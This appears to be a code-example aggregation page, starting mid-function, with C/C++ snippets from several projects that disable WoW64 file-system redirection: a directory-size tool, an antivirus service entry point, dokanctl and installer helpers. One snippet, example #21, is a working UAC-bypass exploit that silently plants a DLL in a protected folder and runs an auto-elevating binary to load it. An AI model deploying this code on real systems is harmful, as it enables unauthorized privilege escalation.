    LARGE_INTEGER startingT, endingT, elapsedTicks;
    BOOL flags[ MAX_OPTIONS ] = { 0 };
    int targetDirInd = 0;
    PVOID oldValueWow64 = NULL;
    BOOL wow64Disabled = FALSE;

    // Fetch frec & initial ticks count
    QueryPerformanceFrequency( &freq );
    QueryPerformanceCounter( &startingT );

    // Get index of first argument after options
    // Also determine which options are active
    targetDirInd = Options( argc, argv,
        TEXT( "sfdmnthb" ),
        &flags[ FL_SIZE ], &flags[ FL_FILES ], &flags[ FL_DIRS ],
        &flags[ FL_MODIF ], &flags[ FL_NAME ], &flags[ FL_TYPE ],
        &flags[ FL_HELP ], &flags[ FL_DBG ], NULL );

    // Get current working dir
    workLength = GetCurrentDirectory( _countof( workDir ), workDir );

    // Validate target dir
    if ( ( argc > targetDirInd + 1 ) || flags[ FL_HELP ] )
    {
        // More than one target or
        // target with gaps (no quotes) specified or
        // asked for help

        // Print usage
        wprintf_s( TEXT( "\n    Usage:    dgl [options] [target dir]\n\n" ) );
        wprintf_s( TEXT( "    Options:\n\n" ) );
        wprintf_s( TEXT( "      -s   :  Sort by size [bytes] (default)\n" ) );
        wprintf_s( TEXT( "      -f   :  Sort by files count (descending)\n" ) );
        wprintf_s( TEXT( "      -d   :  Sort by dirs count (descending)\n" ) );
        wprintf_s( TEXT( "      -m   :  Sort by date modified (latest to earliest)\n" ) );
        wprintf_s( TEXT( "      -n   :  Soft by name (a to Z)\n" ) );
        wprintf_s( TEXT( "      -t   :  Sort by type (<DIR>, <LIN>, file)\n" ) );
        wprintf_s( TEXT( "      -h   :  Print usage\n" ) );
        wprintf_s( TEXT( "      -b   :  Extended output (debug purposes)\n\n" ) );
        wprintf_s( TEXT( "    If no option is specidied, then '-s' will be used\n" ) );
        wprintf_s( TEXT( "    If no target dir is specified, then the current working dir will be used\n" ) );

        return 1;
    }
    else if ( ( argc < targetDirInd + 1 ) && ( workLength <= MAX_PATH - 3 ) )
    {
        // No target specified --> assume current dir
        wcscpy_s( targetDir, MAX_PATH, workDir );
    }
    else if ( argc == targetDirInd + 1 )
    {
        // One target specified

        // Validate target dir starting with '\'
        if ( argv[ targetDirInd ][ 0 ] == '\\' )
        {
            // Fetch drive letter from working dir
            wcsncpy_s( targetDir, MAX_PATH, workDir, 2 );
        }

        // Append passed dir to target dir
        wcscat_s( targetDir, MAX_PATH, argv[ targetDirInd ] );
    }

    // Set up absolute target dir --> resolve '.' and '..' in target dir
    if ( !SetCurrentDirectory( targetDir ) )
    {
        ReportError( TEXT( "\nTarget directory not found.\n" ), 0, TRUE );
        return 1;
    }

    // Display absolute target dir
    GetCurrentDirectory( _countof( targetDir ), targetDir );
    wprintf_s( TEXT( "\n    Target dir: \"%s\"\n\n" ), targetDir );

    // Initialize results list
    InitializeList( &resultsList );
    if ( ListIsFull( &resultsList ) )
    {
        wprintf_s( TEXT( "\nNo memory available!\n" ) );
        return 1;
    }

    // Debug output
    if ( flags[ FL_DBG ] )
        wprintf_s( TEXT( "    %s\n" ), targetDir );

    // Disable file system redirection
    wow64Disabled = Wow64DisableWow64FsRedirection( &oldValueWow64 );

    // Scan target dir
    scanDir( targetDir, &resultsList, &resultsItem, TRUE, flags[ FL_DBG ] );

    // Re-enable redirection
    if ( wow64Disabled )
    {
        if ( !( Wow64RevertWow64FsRedirection( oldValueWow64 ) ) )
            ReportError( TEXT( "Re-enable redirection failed." ), 1, TRUE );
    }

    // Display results
    if ( ListIsEmpty( &resultsList ) )
        wprintf_s( TEXT( "\nNo data.\n\n" ) );
    else
    {
        // Sort results
        // if-else chain determines sorting priority
        // one sorting type high prio excludes low prio types
        if ( flags[ FL_SIZE ] )
            // Sort by size (descending)
            SortList( &resultsList, cmpItemsSizeCount );
        else if ( flags[ FL_FILES ] )
            // Sort by files count (descending)
            SortList( &resultsList, cmpItemsFilesCount );
        else if ( flags[ FL_DIRS ] )
            // Sort by dirs count (descending)
            SortList( &resultsList, cmpItemsDirsCount );
        else if ( flags[ FL_MODIF ] )
            // Sort by modification date (latest to earliest)
            SortList( &resultsList, cmpItemsLastWriteTime );
        else if ( flags[ FL_NAME ] )
            // Sort by name (a to Z)
            SortList( &resultsList, cmpItemsName );
        else
            // Default: sort by size (descending)
            SortList( &resultsList, cmpItemsSizeCount );

        // Debug output
        if ( flags[ FL_DBG ] )
            wprintf_s( TEXT( "\n" ) );

        // Display sorted results
        showResults( &resultsList, &resultsItem );
    }

    // Housekeeping
    EmptyTheList( &resultsList );

    // Fetch final ticks count
    QueryPerformanceCounter( &endingT );

    // Calc elapsed ticks
    elapsedTicks.QuadPart = endingT.QuadPart - startingT.QuadPart;

    // Calc and display elapsed time
    calcDispElapTime( &elapsedTicks.QuadPart, &freq.QuadPart );

    return 0;
}
示例#20
0
int main(int argc, char ** argv) {

	int ret = 0;
	struct a6o_report report = {0};
	PVOID OldValue = NULL;

	if (argc >= 2 && strncmp(argv[1],"--conf",6) == 0 ) {

		// TODO :: https://msdn.microsoft.com/fr-fr/library/windows/desktop/ms724072%28v=vs.85%29.aspx
		//conf_poc_windows( );

		return 0;
	}

	// Only for test purposes (command line)
	if (argc >= 2 && strncmp(argv[1], "--disable_rt", 12) == 0) {
		//disable_onaccess( );
		return EXIT_SUCCESS;
	}


	if (argc >= 2 && strncmp(argv[1], "--notify", 8) == 0) {

		a6o_notify_set_handler((a6o_notify_handler_t)send_notif);		
		a6o_notify(NOTIF_INFO,"Service started!");
		a6o_notify(NOTIF_WARNING,"Malware detected :: [%s]","TrojanFake");
		a6o_notify(NOTIF_ERROR,"An error occured during scan !!");
		return EXIT_SUCCESS;
	}

	// Only for test purposes (command line) complete test = GUI + driver.
	if ( argc >=2 && strncmp(argv[1],"--testGUI",9) == 0 ){

		DisplayBanner();

		a6o_notify_set_handler((a6o_notify_handler_t)send_notif);

		if (Wow64DisableWow64FsRedirection(&OldValue) == FALSE) {
			return -1;
		}

		/* (FD) added to get all log messages */
		a6o_log_set_handler(ARMADITO_LOG_LEVEL_DEBUG, a6o_log_default_handler, NULL);
		
		ret = LaunchCmdLineService(GUI_ONLY);

		if (Wow64RevertWow64FsRedirection(OldValue) == FALSE ){
			//  Failure to re-enable redirection should be considered
			//  a criticial failure and execution aborted.
			return -2;
		}

		if (ret < 0) {
			return EXIT_FAILURE;
		}
		return EXIT_SUCCESS;

	}


	// Only for test purposes (command line) complete test = GUI + driver.
	if ( argc >=2 && strncmp(argv[1],"--test",6) == 0 ){

		DisplayBanner( );

		a6o_notify_set_handler((a6o_notify_handler_t)send_notif);

		ret = LaunchCmdLineService(SVC_MODE);
		if (ret < 0) {
			return EXIT_FAILURE;
		}
		return EXIT_SUCCESS;

	}

	

	// Only for test purposes (command line)
	if ( argc >=2 && strncmp(argv[1],"--register",10) == 0 ){

#if 0
		ret = register_av( );
		if (ret < 0) {
			return EXIT_FAILURE;
		}
#endif
		return EXIT_SUCCESS;


	}

	// Only for test purposes (command line)
	if ( argc >=2 && strncmp(argv[1],"--crypt",7) == 0 ){

#if 0
		if (argv[2] == NULL) {
			printf("[-] Error :: --crypt option ::  missing parameter [filename]\n");
			return EXIT_FAILURE;
		}

		ret = verify_file_signature(argv[2],SIGNATURE_FILE);
		if (ret < 0) {
			return EXIT_FAILURE;
		}
#endif
		return EXIT_SUCCESS;


	}

	// Only for test purposes (command line)
	if ( argc >=3 && strncmp(argv[1],"--quarantine",11) == 0 ){

#if 0
		ret = MoveFileInQuarantine(argv[2], report);
		if (ret < 0) {
			return EXIT_FAILURE;
		}
#endif
		return EXIT_SUCCESS;

	}
	if ( argc >=2 && strncmp(argv[1],"--quarantine",11) == 0 ){

#if 0
		ret = EnumQuarantine();
		if (ret < 0) {
			return EXIT_FAILURE;
		}
#endif
		return EXIT_SUCCESS;

	}
	if ( argc >=2 && strncmp(argv[1],"--restore",9) == 0 ){
#if 0
		ret = ui_restore_quarantine_file(argv[1]);
		if (ret < 0) {
			return EXIT_FAILURE;
		}
#endif
		return EXIT_SUCCESS;

	}

	if ( argc >=3 && strncmp(argv[1],"--restore",9) == 0 ){
#if 0
		ret = RestoreFileFromQuarantine(argv[2]);
		if (ret < 0) {
			return EXIT_FAILURE;
		}
#endif
		return EXIT_SUCCESS;

	}


	if ( argc >=2 && strncmp(argv[1],"--updatedb",10) == 0 ){

		DisplayBanner( );
		update_modules_db(NULL);
		return EXIT_SUCCESS;
	}

	if ( argc >=2 && strncmp(argv[1],"--info",6) == 0 ){
		
		if (get_av_info() < 0) {
			return EXIT_FAILURE;
		}
		return EXIT_SUCCESS;
	}

	if (argc >= 2 && strncmp(argv[1], "--installboot", 13) == 0){

		DisplayBanner();

		ret = ServiceInstall(SERVICE_AUTO_START);
		if (ret < 0) {
			return EXIT_FAILURE;
		}

		return EXIT_SUCCESS;

	}

	// command line parameter "--install", install the service.
	if ( argc >=2 && strncmp(argv[1],"--install",9) == 0 ){

		DisplayBanner( );

		ret = ServiceInstall(SERVICE_DEMAND_START);
		if (ret < 0) {
			return EXIT_FAILURE;
		}

		return EXIT_SUCCESS;

	}

	

	// command line parameter "--uninstall", uninstall the service.
	if ( argc >=2 && strncmp(argv[1],"--uninstall",11) == 0 ){
		DisplayBanner( );

		ret = ServiceRemove( );

		return EXIT_SUCCESS;
	}

	// command line parameter "--remove", delete the service.
	if ( argc >=2 && strncmp(argv[1],"--stop",6) == 0 ){
		ServiceStop();
		return EXIT_SUCCESS;
	}

	if ( argc >=2 && strncmp(argv[1],"--start",7) == 0 ){
		ServiceLaunch( );
		return EXIT_SUCCESS;
	}

	if ( argc >=2 && strncmp(argv[1],"--pause",7) == 0 ){
		ServicePause( );
		return EXIT_SUCCESS;
	}
	if ( argc >=2 && strncmp(argv[1],"--continue",10) == 0 ){
		ServiceContinue( );
		return EXIT_SUCCESS;
	}

	//ServiceLaunchAction( );
	// put this part in ServiceLaunchAction function.
	SERVICE_TABLE_ENTRY DispatchTable[] = 
    { 
        { SVCNAME, (LPSERVICE_MAIN_FUNCTION) ServiceMain }, 
        { NULL, NULL } 
    };


	// This call returs when the service has stopped.
	if (!StartServiceCtrlDispatcher(DispatchTable)) {
		//SvcReportEvent(TEXT("StartServiceCtrlDispatcher"));
		//printf("[i] StartServiceCtrlDispatcher :: %d\n",GetLastError());
	}


	return EXIT_SUCCESS;

}
示例#21
0
	void exploit(BypassUacPaths const * const paths)
	{
		const wchar_t *szElevArgs = L"";
		const wchar_t *szEIFOMoniker = NULL;

		PVOID OldValue = NULL;

		IFileOperation *pFileOp = NULL;
		IShellItem *pSHISource = 0;
		IShellItem *pSHIDestination = 0;
		IShellItem *pSHIDelete = 0;

		BOOL bComInitialised = FALSE;

		const IID *pIID_EIFO = &__uuidof(IFileOperation);
		const IID *pIID_EIFOClass = &__uuidof(FileOperation);
		const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);

		dprintf("[BYPASSUACINJ] szElevDir          = %S", paths->szElevDir);
		dprintf("[BYPASSUACINJ] szElevDirSysWow64  = %S", paths->szElevDirSysWow64);
		dprintf("[BYPASSUACINJ] szElevDll          = %S", paths->szElevDll);
		dprintf("[BYPASSUACINJ] szElevDllFull      = %S", paths->szElevDllFull);
		dprintf("[BYPASSUACINJ] szElevExeFull      = %S", paths->szElevExeFull);
		dprintf("[BYPASSUACINJ] szDllTempPath      = %S", paths->szDllTempPath);

		do
		{
			if (CoInitialize(NULL) != S_OK)
			{
				dprintf("[BYPASSUACINJ] Failed to initialize COM");
				break;
			}

			bComInitialised = TRUE;

			if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**)&pFileOp) != S_OK)
			{
				dprintf("[BYPASSUACINJ] Couldn't create EIFO instance");
				break;
			}

			if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK)
			{
				dprintf("[BYPASSUACINJ] Couldn't Set operating flags on file op.");
				break;
			}

			if (SHCreateItemFromParsingName((PCWSTR)paths->szDllTempPath, NULL, *pIID_ShellItem2, (void**)&pSHISource) != S_OK)
			{
				dprintf("[BYPASSUACINJ] Unable to create item from name (source)");
				break;
			}

			if (SHCreateItemFromParsingName(paths->szElevDir, NULL, *pIID_ShellItem2, (void**)&pSHIDestination) != S_OK)
			{
				dprintf("[BYPASSUACINJ] Unable to create item from name (destination)");
				break;
			}

			if (pFileOp->CopyItem(pSHISource, pSHIDestination, paths->szElevDll, NULL) != S_OK)
			{
				dprintf("[BYPASSUACINJ] Unable to prepare copy op for elev dll");
				break;
			}

			/* Copy the DLL file to the target folder*/
			if (pFileOp->PerformOperations() != S_OK)
			{
				dprintf("[BYPASSUACINJ] Unable to copy elev dll");
				break;
			}

			/* Execute the target binary */
			SHELLEXECUTEINFOW shinfo;
			ZeroMemory(&shinfo, sizeof(shinfo));
			shinfo.cbSize = sizeof(shinfo);
			shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
			shinfo.lpFile = paths->szElevExeFull;
			shinfo.lpParameters = szElevArgs;
			shinfo.lpDirectory = paths->szElevDir;
			shinfo.nShow = SW_HIDE;

			Wow64DisableWow64FsRedirection(&OldValue);
			if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
			{
				WaitForSingleObject(shinfo.hProcess, 10000);
				CloseHandle(shinfo.hProcess);
			}

			if (S_OK != SHCreateItemFromParsingName(paths->szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
				|| NULL == pSHIDelete)
			{
				dprintf("[BYPASSUACINJ] Failed to create item from parsing name (delete)");
				break;
			}

			if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
			{
				dprintf("[BYPASSUACINJ] Failed to prepare op for delete");
				break;
			}

			if (pFileOp->PerformOperations() == S_OK)
			{
				dprintf("[BYPASSUACINJ] Successfully deleted dll");

				// bail out this point because we don't need to keep trying to delete
				break;
			}

			SAFERELEASE(pSHIDelete);

			// If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
			// DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
			// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
			if (S_OK != SHCreateItemFromParsingName(paths->szElevDirSysWow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
				|| NULL == pSHIDelete)
			{
				dprintf("[BYPASSUACINJ] Failed to create item from parsing name for delete (shellitem2)");
				break;
			}

			if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
			{
				dprintf("[BYPASSUACINJ] Failed to prepare op for delete (shellitem2)");
				break;
			}

			if (pFileOp->PerformOperations() == S_OK)
			{
				dprintf("[BYPASSUACINJ] Successfully deleted DLL in target directory from SYSWOW64 process");
			}
			else
			{
				dprintf("[BYPASSUACINJ] Failed to delete target DLL");
			}

		} while (0);

		SAFERELEASE(pSHIDelete);
		SAFERELEASE(pSHIDestination);
		SAFERELEASE(pSHISource);
		SAFERELEASE(pFileOp);

		if (bComInitialised)
		{
			CoUninitialize();
		}
	}
示例#22
0
文件: dokanctl.c 项目: MaMic/dokany
int __cdecl wmain(int argc, PWCHAR argv[]) {
  size_t i;
  WCHAR fileName[MAX_PATH];
  WCHAR driverFullPath[MAX_PATH] = {0};
  WCHAR mounterFullPath[MAX_PATH] = {0};
  WCHAR type;
  PVOID wow64OldValue;

  DokanUseStdErr(TRUE); // Set dokan library debug output

  Wow64DisableWow64FsRedirection(&wow64OldValue); //Disable system32 direct
  // setlocale(LC_ALL, "");

  GetModuleFileName(NULL, fileName, MAX_PATH);

  // search the last "\"
  for (i = wcslen(fileName) - 1; i > 0 && fileName[i] != L'\\'; --i) {
    ;
  }
  fileName[i] = L'\0';

  wcscpy_s(mounterFullPath, MAX_PATH, fileName);
  wcscat_s(mounterFullPath, MAX_PATH, L"\\mounter.exe");
  fwprintf(stderr, L"Mounter path: '%s'\n", mounterFullPath);

  ExpandEnvironmentStringsW(DOKAN_DRIVER_FULL_PATH, driverFullPath, MAX_PATH);

  fwprintf(stderr, L"Driver path: '%s'\n", driverFullPath);

  if (GetOption(argc, argv, 1) == L'v') {
    fprintf(stderr, "dokanctl : %s %s\n", __DATE__, __TIME__);
    fprintf(stderr, "Dokan version : %d\n", DokanVersion());
    fprintf(stderr, "Dokan driver version : 0x%lx\n", DokanDriverVersion());
    return EXIT_SUCCESS;

  } else if (GetOption(argc, argv, 1) == L'm') {
    return ShowMountList();

  } else if (GetOption(argc, argv, 1) == L'u' && argc == 3) {
    return Unmount(argv[2], FALSE);

  } else if (GetOption(argc, argv, 1) == L'u' &&
             GetOption(argc, argv, 3) == L'f' && argc == 4) {
    return Unmount(argv[2], TRUE);

  } else if (argc < 3 || wcslen(argv[1]) != 2 || argv[1][0] != L'/') {
    return ShowUsage();
  }

  type = towlower(argv[2][0]);

  switch (towlower(argv[1][1])) {
  case L'i':
    if (type == L'd') {

      return InstallDriver(driverFullPath);

    } else if (type == L's') {

      return InstallMounter(mounterFullPath);

    } else if (type == L'a') {

      if (InstallDriver(driverFullPath) == EXIT_FAILURE)
        return EXIT_FAILURE;

      if (InstallMounter(mounterFullPath) == EXIT_FAILURE)
        return EXIT_FAILURE;

    } else if (type == L'n') {
      if (DokanNetworkProviderInstall())
        fprintf(stderr, "network provider install ok\n");
      else
        fprintf(stderr, "network provider install failed\n");
    }
    break;

  case L'r':
    if (type == L'd') {

      return DeleteDokanService(DOKAN_DRIVER_SERVICE);

    } else if (type == L's') {

      return DeleteDokanService(DOKAN_MOUNTER_SERVICE);

    } else if (type == L'a') {

      if (DeleteDokanService(DOKAN_MOUNTER_SERVICE) == EXIT_FAILURE)
        return EXIT_FAILURE;

      if (DeleteDokanService(DOKAN_DRIVER_SERVICE) == EXIT_FAILURE)
        return EXIT_FAILURE;

    } else if (type == L'n') {
      if (DokanNetworkProviderUninstall())
        fprintf(stderr, "network provider remove ok\n");
      else
        fprintf(stderr, "network provider remove failed\n");
    }
    break;
  case L'd':
    if (L'0' <= type && type <= L'9') {
      ULONG mode = type - L'0';
      if (DokanSetDebugMode(mode)) {
        fprintf(stderr, "set debug mode ok\n");
      } else {
        fprintf(stderr, "set debug mode failed\n");
      }
    }
    break;
  default:
    fprintf(stderr, "unknown option\n");
  }

  return EXIT_SUCCESS;
}
示例#23
0
// we don't need any runtime initialization; only use Win32 API!
void __cdecl WinMainCRTStartup(void) {
   // variable for ExitProcess
	UINT exitCode;

	// variables for Tokenize
	LPTSTR infName;

	// variables for GetFullPathName
	LPTSTR fullPath;
	LPTSTR filePart;

	// variables for lstrcpy, lstrcat
	DWORD len;
	LPTSTR fixCmd;	
	LPTSTR argList;

	// variables for ShellExecuteEx
	SHELLEXECUTEINFO shExec;

	// variables for Wow64DisableWow64FsRedirection
	PVOID OldWow64FsRedirectionValue;

	// variables for VerifyVersionInfo
	OSVERSIONINFOEX verInfo;

	// declare these functions as pointers to load dynamically
	PW64DW64FR Wow64DisableWow64FsRedirection;
	PW64RW64FR Wow64RevertWow64FsRedirection;

	// attempt to load functions and store pointer in variable
	Wow64DisableWow64FsRedirection = (PW64DW64FR) GetProcAddress(
			GetModuleHandle(TEXT("kernel32.dll")), 
			"Wow64DisableWow64FsRedirection");
	Wow64RevertWow64FsRedirection = (PW64RW64FR) GetProcAddress(
			GetModuleHandle(TEXT("kernel32.dll")), 
			"Wow64RevertWow64FsRedirection");	

	// get the command line buffer from the environment
	infName = Tokenize (GetCommandLine ());

	// standard prefix to run an installer. first argument is a tuple of
	// the library name and the entry point; there must be a comma
	// between them and no spaces. rest of the command is passed to that
	// entry point. DefaultInstall is the name of the section, 128 is
	// flags, and the .inf name must be specified using a path to avoid
	// having it search for files in default directories.
	fixCmd = TEXT("setupapi.dll,InstallHinfSection DefaultInstall 128 ");

	// get canonical path of the argument
	len = GetFullPathName (infName, 0, NULL, NULL);
	// file does not exist?
	if (len == 0) {
	  exitCode = 0xFE;
	  goto cleanupFullPath;
	}
	fullPath = (LPTSTR) HeapAlloc (GetProcessHeap (), 0, (len+1) * sizeof(TCHAR));
	GetFullPathName (infName, len, fullPath, &filePart);
	// only directory was specified
	if (*filePart == '\0') {
	  exitCode = 0xFD;
	  goto cleanupFullPath;
	}

	// put all portions together to a total command line. note that the
	// InstallHinfSection argument list is not a regular command line. there
	// are always three fields: Section (DefaultInstall), Flags (128) and
	// Path, which are separated with a space. No quotes should be put around
	// the path, nor is the short name really necessary (on Windows 7 64-bit
	// there may not be a short name version available).
	len = lstrlen (fixCmd) + lstrlen (fullPath);
	argList = (LPTSTR) HeapAlloc (GetProcessHeap (), 0, (len+1) * sizeof(TCHAR));
	lstrcpy (argList, fixCmd);
	lstrcat (argList, fullPath);
	//MessageBox(NULL, argList, TEXT("argList"), MB_ICONINFORMATION | MB_OK);

	ZeroFill (&shExec, sizeof(SHELLEXECUTEINFO));
	shExec.cbSize = sizeof(SHELLEXECUTEINFO);
	shExec.fMask = SEE_MASK_NOCLOSEPROCESS | SEE_MASK_FLAG_DDEWAIT | SEE_MASK_DOENVSUBST;
	
	// <http://codefromthe70s.org/vistatutorial.aspx>
	// <http://www.wintellect.com/cs/blogs/jrobbins/archive/2007/03/27/elevate-a-process-at-the-command-line-in-vista.aspx>
	ZeroFill (&verInfo, sizeof(OSVERSIONINFOEX));
	verInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
	verInfo.dwMajorVersion = 6; // Vista
	if (VerifyVersionInfo (&verInfo, VER_MAJORVERSION,
			VerSetConditionMask (0, VER_MAJORVERSION, VER_GREATER_EQUAL))) {
		shExec.lpVerb = TEXT("runas");
	}
	// instead of calling InstallHinfSection ourself, we need to execute
	// the external program so that the native version (32- or 64-bits)
	// is run. it is always in system32, even on Windows x64! (folder
	// redirection is deactivated, so we'll get the native version).
	shExec.lpFile = TEXT("%SystemRoot%\\system32\\rundll32.exe");
	shExec.lpParameters = argList;
	shExec.nShow = SW_SHOWDEFAULT;

	// only call the WoW64 functions if they are available on our system
	if(NULL != Wow64DisableWow64FsRedirection)
		Wow64DisableWow64FsRedirection (&OldWow64FsRedirectionValue);

	// launch process and "inherit" exit code
	ShellExecuteEx (&shExec);
	WaitForSingleObject (shExec.hProcess, INFINITE);
	GetExitCodeProcess (shExec.hProcess, &exitCode);
	CloseHandle (shExec.hProcess);
  
	if (NULL != Wow64RevertWow64FsRedirection)
		Wow64RevertWow64FsRedirection (OldWow64FsRedirectionValue);

	// not really necessary, but it's a habit hard to turn
	HeapFree (GetProcessHeap (), 0, argList);
 cleanupFullPath:
	HeapFree (GetProcessHeap (), 0, fullPath);
  
	ExitProcess (exitCode);
}
示例#24
0
BOOL CFileMove::MoveFile(LPCTSTR lpExistingFileName, LPCTSTR lpNewFileName, DWORD dwFlags)
{
	if (lpExistingFileName == NULL)
	{
		::SetLastError(ERROR_INVALID_PARAMETER);
		return FALSE;
	}

	// 去掉只读属性
	RemoveReadonlyAttribute(lpExistingFileName);
	RemoveReadonlyAttribute(lpNewFileName);

	if (!m_bIsWow64)
	{
		return MoveFileEx(lpExistingFileName, lpNewFileName, dwFlags);
	}

	TCHAR szSystemWow64[MAX_PATH] = {0};
	if (!GetWow64Directory(szSystemWow64, countof(szSystemWow64)))
	{
		return FALSE;
	}

	TCHAR szSystem32[MAX_PATH] = {0};
	if (!GetSystemDirectory(szSystem32, countof(szSystem32)))
	{
		return FALSE;
	}

	TCHAR szSysNative[MAX_PATH] = {0};
	if (!GetWindowsDirectory(szSysNative, countof(szSysNative)))
	{
		return FALSE;
	}

	StringCchCat(szSysNative, countof(szSysNative), _T("\\Sysnative"));

	TCHAR szExistingFileName[MAX_PATH] = {0};
	TCHAR szNewFileName[MAX_PATH] = {0};
	TCHAR * pNewMoveFileName = NULL;

	RevertFsRedirection(lpExistingFileName, szSystem32, szSystemWow64,
		szExistingFileName, countof(szExistingFileName));

	RevertFsRedirection(szExistingFileName, szSysNative, szSystem32,
		szExistingFileName, countof(szExistingFileName));

	if (lpNewFileName != NULL)
	{
		RevertFsRedirection(lpNewFileName, szSystem32, szSystemWow64,
			szNewFileName, countof(szNewFileName));

		RevertFsRedirection(szNewFileName, szSysNative, szSystem32,
			szNewFileName, countof(szNewFileName));

		pNewMoveFileName = szNewFileName;
	}

	// 关闭32位程序在64位系统下的自动重定向功能

	PVOID pOldValue = NULL;
	if (!Wow64DisableWow64FsRedirection(&pOldValue))
	{
		return FALSE;
	}

	DWORD dwLastError = ERROR_SUCCESS;
	BOOL bMoveFile = MoveFileEx(szExistingFileName, pNewMoveFileName, dwFlags);
	if (!bMoveFile)
	{
		dwLastError = ::GetLastError();
	}

	// 恢复32位程序在64位系统下的自动重定向功能
	if (!Wow64RevertWow64FsRedirection(pOldValue))
	{
		return FALSE;
	}

	::SetLastError(dwLastError);
	return bMoveFile;
}